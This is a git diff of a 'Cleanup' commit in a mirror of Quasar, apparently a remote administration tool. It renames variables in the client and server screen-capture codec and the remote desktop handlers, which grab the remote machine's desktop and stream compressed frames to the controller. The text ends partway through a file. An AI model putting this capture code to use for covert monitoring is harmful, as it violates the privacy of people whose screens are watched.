mirror of https://github.com/quasar/Quasar.git
Cleanup
This commit is contained in:
parent
d02709cedf
commit
2a157a4df0
|
@ -25,7 +25,7 @@ public static class CommandHandler
|
|||
[DllImport("user32.dll")]
|
||||
private static extern void mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
|
||||
|
||||
public static UnsafeStreamCodec StreamCodec;
|
||||
public static UnsafeStreamCodec StreamCodec;
|
||||
public static Bitmap LastDesktopScreenshot;
|
||||
private static Shell _shell;
|
||||
|
||||
|
@ -215,22 +215,22 @@ public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Clie
|
|||
|
||||
public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
|
||||
{
|
||||
if (StreamCodec == null)
|
||||
{
|
||||
StreamCodec = new UnsafeStreamCodec(75);
|
||||
}
|
||||
if (StreamCodec == null)
|
||||
{
|
||||
StreamCodec = new UnsafeStreamCodec(75);
|
||||
}
|
||||
|
||||
LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number);
|
||||
BitmapData bmpdata = LastDesktopScreenshot.LockBits(new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, LastDesktopScreenshot.PixelFormat);
|
||||
LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number);
|
||||
BitmapData bmpdata = LastDesktopScreenshot.LockBits(new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, LastDesktopScreenshot.PixelFormat);
|
||||
|
||||
using(MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
StreamCodec.CodeImage(bmpdata.Scan0, new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat, stream);
|
||||
new Packets.ClientPackets.DesktopResponse(stream.ToArray()).Execute(client);
|
||||
}
|
||||
using(MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
StreamCodec.CodeImage(bmpdata.Scan0, new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat, stream);
|
||||
new Packets.ClientPackets.DesktopResponse(stream.ToArray()).Execute(client);
|
||||
}
|
||||
|
||||
LastDesktopScreenshot.UnlockBits(bmpdata);
|
||||
LastDesktopScreenshot.Dispose();
|
||||
LastDesktopScreenshot.UnlockBits(bmpdata);
|
||||
LastDesktopScreenshot.Dispose();
|
||||
|
||||
/*if (LastDesktopScreenshot == null)
|
||||
{
|
||||
|
|
|
@ -4,36 +4,35 @@
|
|||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using xClient.Core.Misc;
|
||||
|
||||
namespace xClient.Core.Helper
|
||||
{
|
||||
public class UnsafeStreamCodec
|
||||
{
|
||||
private int _ImageQuality;
|
||||
private int _imageQuality;
|
||||
public int ImageQuality
|
||||
{
|
||||
get { return _ImageQuality; }
|
||||
get { return _imageQuality; }
|
||||
private set
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
lock (_imageProcessLock)
|
||||
{
|
||||
_ImageQuality = value;
|
||||
jpgCompression = new JpgCompression(_ImageQuality);
|
||||
_imageQuality = value;
|
||||
_jpgCompression = new JpgCompression(_imageQuality);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private object ImageProcessLock = new object();
|
||||
private JpgCompression jpgCompression;
|
||||
private byte[] _encodeBuffer;
|
||||
private Bitmap _decodedBitmap;
|
||||
private PixelFormat _encodedFormat;
|
||||
private int _encodedWidth;
|
||||
private int _encodedHeight;
|
||||
private object _imageProcessLock = new object();
|
||||
private JpgCompression _jpgCompression;
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||
|
@ -50,133 +49,134 @@ private set
|
|||
/// <summary>
|
||||
/// Initialize a new object of UnsafeStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
|
||||
/// <param name="imageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeStreamCodec(int imageQuality = 100, bool useJpeg = true)
|
||||
{
|
||||
this.CheckBlock = new Size(50, 1);
|
||||
this.ImageQuality = ImageQuality;
|
||||
this.ImageQuality = imageQuality;
|
||||
}
|
||||
|
||||
public unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
lock (_imageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
byte* pScan0 = (byte*)scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
int stride = 0;
|
||||
int rawLength = 0;
|
||||
int pixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
PixelSize = 3;
|
||||
pixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
pixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
throw new NotSupportedException(format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
stride = imageSize.Width * pixelSize;
|
||||
rawLength = stride * imageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
if (_encodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
this._encodedFormat = format;
|
||||
this._encodedWidth = imageSize.Width;
|
||||
this._encodedHeight = imageSize.Height;
|
||||
this._encodeBuffer = new byte[rawLength];
|
||||
fixed (byte* ptr = _encodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0))
|
||||
{
|
||||
temp = jpgCompression.Compress(TmpBmp);
|
||||
temp = _jpgCompression.Compress(tmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
memcpy(new IntPtr(ptr), scan0, (uint)rawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
int totalDataLength = 0;
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
if (this._encodedFormat != format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
List<Rectangle> blocks = new List<Rectangle>();
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
Size s = new Size(scanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
int lasty = scanArea.Height - lastSize.Height;
|
||||
int lastx = scanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
s = new Size(scanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = _encodeBuffer)
|
||||
{
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
var index = 0;
|
||||
|
||||
for (int y = scanArea.Y; y != scanArea.Height; )
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
s = new Size(scanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
if (memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
int offset = (y * stride) + (scanArea.X * pixelSize);
|
||||
if (memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0)
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
index = blocks.Count - 1;
|
||||
if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width, blocks[index].Height + cBlock.Height);
|
||||
blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||
for (int i = 0; i < blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = ScanArea.X;
|
||||
while (x != ScanArea.Width)
|
||||
s = new Size(CheckBlock.Width, blocks[i].Height);
|
||||
int x = scanArea.X;
|
||||
while (x != scanArea.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
s = new Size(lastSize.Width, blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool FoundChanges = false;
|
||||
int blockStride = PixelSize * cBlock.Width;
|
||||
cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height);
|
||||
bool foundChanges = false;
|
||||
int blockStride = pixelSize * cBlock.Width;
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
|
||||
int blockOffset = (stride * (cBlock.Y + j)) + (pixelSize * cBlock.X);
|
||||
if (memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||
FoundChanges = true;
|
||||
foundChanges = true;
|
||||
memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
if (FoundChanges)
|
||||
if (foundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
|
@ -212,17 +212,17 @@ public unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, P
|
|||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
int blockStride = pixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
Bitmap tmpBmp = new Bitmap(rect.Width, rect.Height, format);
|
||||
BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.ReadWrite, tmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
int blockOffset = (stride * (rect.Y + j)) + (pixelSize * rect.X);
|
||||
memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
tmpBmp.UnlockBits(tmpData);
|
||||
|
||||
/*using (Graphics g = Graphics.FromImage(bmp))
|
||||
{
|
||||
|
@ -239,15 +239,15 @@ public unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, P
|
|||
long length = outStream.Length;
|
||||
long OldPos = outStream.Position;
|
||||
|
||||
jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
_jpgCompression.Compress(tmpBmp, ref outStream);
|
||||
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
tmpBmp.Dispose();
|
||||
totalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
/*if (finalUpdates.Count > 0)
|
||||
|
@ -261,8 +261,8 @@ public unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, P
|
|||
bmp.Dispose();*/
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4);
|
||||
blocks.Clear();
|
||||
finalUpdates.Clear();
|
||||
}
|
||||
}
|
||||
|
@ -270,75 +270,50 @@ public unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, P
|
|||
public unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
return _decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
int dataSize = *(int*)(CodecBuffer);
|
||||
if (_decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
byte[] temp = new byte[dataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)dataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return _decodedBitmap;
|
||||
}
|
||||
return decodedBitmap;
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
return _decodedBitmap;
|
||||
}
|
||||
|
||||
public Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
int dataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
if (_decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
temp = new byte[dataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return _decodedBitmap;
|
||||
}
|
||||
|
||||
using (Graphics g = Graphics.FromImage(decodedBitmap))
|
||||
using (Graphics g = Graphics.FromImage(_decodedBitmap))
|
||||
{
|
||||
while (DataSize > 0)
|
||||
while (dataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
int updateLen = BitConverter.ToInt32(tempData, 16);
|
||||
tempData = null;
|
||||
|
||||
byte[] buffer = new byte[UpdateLen];
|
||||
byte[] buffer = new byte[updateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
using (MemoryStream m = new MemoryStream(buffer))
|
||||
|
@ -347,10 +322,10 @@ public Bitmap DecodeData(Stream inStream)
|
|||
g.DrawImage(tmp, rect.Location);
|
||||
}
|
||||
buffer = null;
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
dataSize -= updateLen + (4 * 5);
|
||||
}
|
||||
}
|
||||
return decodedBitmap;
|
||||
return _decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,38 +1,35 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace xClient.Core.Misc
|
||||
{
|
||||
public class JpgCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
private EncoderParameter _parameter;
|
||||
private ImageCodecInfo _encoderInfo;
|
||||
private EncoderParameters _encoderParams;
|
||||
|
||||
public JpgCompression(int Quality)
|
||||
public JpgCompression(int quality)
|
||||
{
|
||||
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this.encoderParams = new EncoderParameters(2);
|
||||
this.encoderParams.Param[0] = parameter;
|
||||
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionRle);
|
||||
this._parameter = new EncoderParameter(Encoder.Quality, (long)quality);
|
||||
this._encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this._encoderParams = new EncoderParameters(2);
|
||||
this._encoderParams.Param[0] = _parameter;
|
||||
this._encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long)EncoderValue.CompressionRle);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
bmp.Save(stream, _encoderInfo, _encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
public void Compress(Bitmap bmp, ref Stream TargetStream)
|
||||
public void Compress(Bitmap bmp, ref Stream targetStream)
|
||||
{
|
||||
bmp.Save(TargetStream, encoderInfo, encoderParams);
|
||||
bmp.Save(targetStream, _encoderInfo, _encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
|
|
|
@ -114,25 +114,25 @@ public static void HandleRemoteDesktopResponse(Client client, DesktopResponse pa
|
|||
// we can not dispose all bitmaps here, cause they are later used again in `client.Value.LastDesktop`
|
||||
if (client.Value.LastDesktop == null)
|
||||
{
|
||||
client.Value.StreamCodec = new Helper.UnsafeStreamCodec(0);
|
||||
client.Value.StreamCodec = new Helper.UnsafeStreamCodec(0);
|
||||
|
||||
using (MemoryStream ms = new MemoryStream(packet.Image))
|
||||
{
|
||||
Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms);
|
||||
using (MemoryStream ms = new MemoryStream(packet.Image))
|
||||
{
|
||||
Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms);
|
||||
|
||||
client.Value.LastDesktop = newScreen;
|
||||
client.Value.FrmRdp.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
client.Value.FrmRdp.picDesktop.Image = newScreen;
|
||||
});
|
||||
newScreen = null;
|
||||
}
|
||||
client.Value.LastDesktop = newScreen;
|
||||
client.Value.FrmRdp.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
client.Value.FrmRdp.picDesktop.Image = newScreen;
|
||||
});
|
||||
newScreen = null;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream(packet.Image))
|
||||
{
|
||||
Bitmap screen = client.Value.StreamCodec.DecodeData(ms);
|
||||
using (MemoryStream ms = new MemoryStream(packet.Image))
|
||||
{
|
||||
Bitmap screen = client.Value.StreamCodec.DecodeData(ms);
|
||||
|
||||
Bitmap newScreen = new Bitmap(screen.Width, screen.Height);
|
||||
|
||||
|
|
|
@ -4,36 +4,35 @@
|
|||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using xServer.Core.Misc;
|
||||
|
||||
namespace xServer.Core.Helper
|
||||
{
|
||||
public class UnsafeStreamCodec
|
||||
{
|
||||
private int _ImageQuality;
|
||||
private int _imageQuality;
|
||||
public int ImageQuality
|
||||
{
|
||||
get { return _ImageQuality; }
|
||||
get { return _imageQuality; }
|
||||
private set
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
lock (_imageProcessLock)
|
||||
{
|
||||
_ImageQuality = value;
|
||||
jpgCompression = new JpgCompression(_ImageQuality);
|
||||
_imageQuality = value;
|
||||
_jpgCompression = new JpgCompression(_imageQuality);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private object ImageProcessLock = new object();
|
||||
private JpgCompression jpgCompression;
|
||||
private byte[] _encodeBuffer;
|
||||
private Bitmap _decodedBitmap;
|
||||
private PixelFormat _encodedFormat;
|
||||
private int _encodedWidth;
|
||||
private int _encodedHeight;
|
||||
private object _imageProcessLock = new object();
|
||||
private JpgCompression _jpgCompression;
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||
|
@ -50,132 +49,133 @@ private set
|
|||
/// <summary>
|
||||
/// Initialize a new object of UnsafeStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
|
||||
/// <param name="imageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeStreamCodec(int imageQuality = 100, bool useJpeg = true)
|
||||
{
|
||||
this.CheckBlock = new Size(50, 1);
|
||||
}
|
||||
|
||||
public unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
lock (_imageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
byte* pScan0 = (byte*)scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
int stride = 0;
|
||||
int rawLength = 0;
|
||||
int pixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
PixelSize = 3;
|
||||
pixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
pixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
throw new NotSupportedException(format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
stride = imageSize.Width * pixelSize;
|
||||
rawLength = stride * imageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
if (_encodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
this._encodedFormat = format;
|
||||
this._encodedWidth = imageSize.Width;
|
||||
this._encodedHeight = imageSize.Height;
|
||||
this._encodeBuffer = new byte[rawLength];
|
||||
fixed (byte* ptr = _encodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0))
|
||||
{
|
||||
temp = jpgCompression.Compress(TmpBmp);
|
||||
temp = _jpgCompression.Compress(tmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
memcpy(new IntPtr(ptr), scan0, (uint)rawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
int totalDataLength = 0;
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
if (this._encodedFormat != format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
List<Rectangle> blocks = new List<Rectangle>();
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
Size s = new Size(scanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
int lasty = scanArea.Height - lastSize.Height;
|
||||
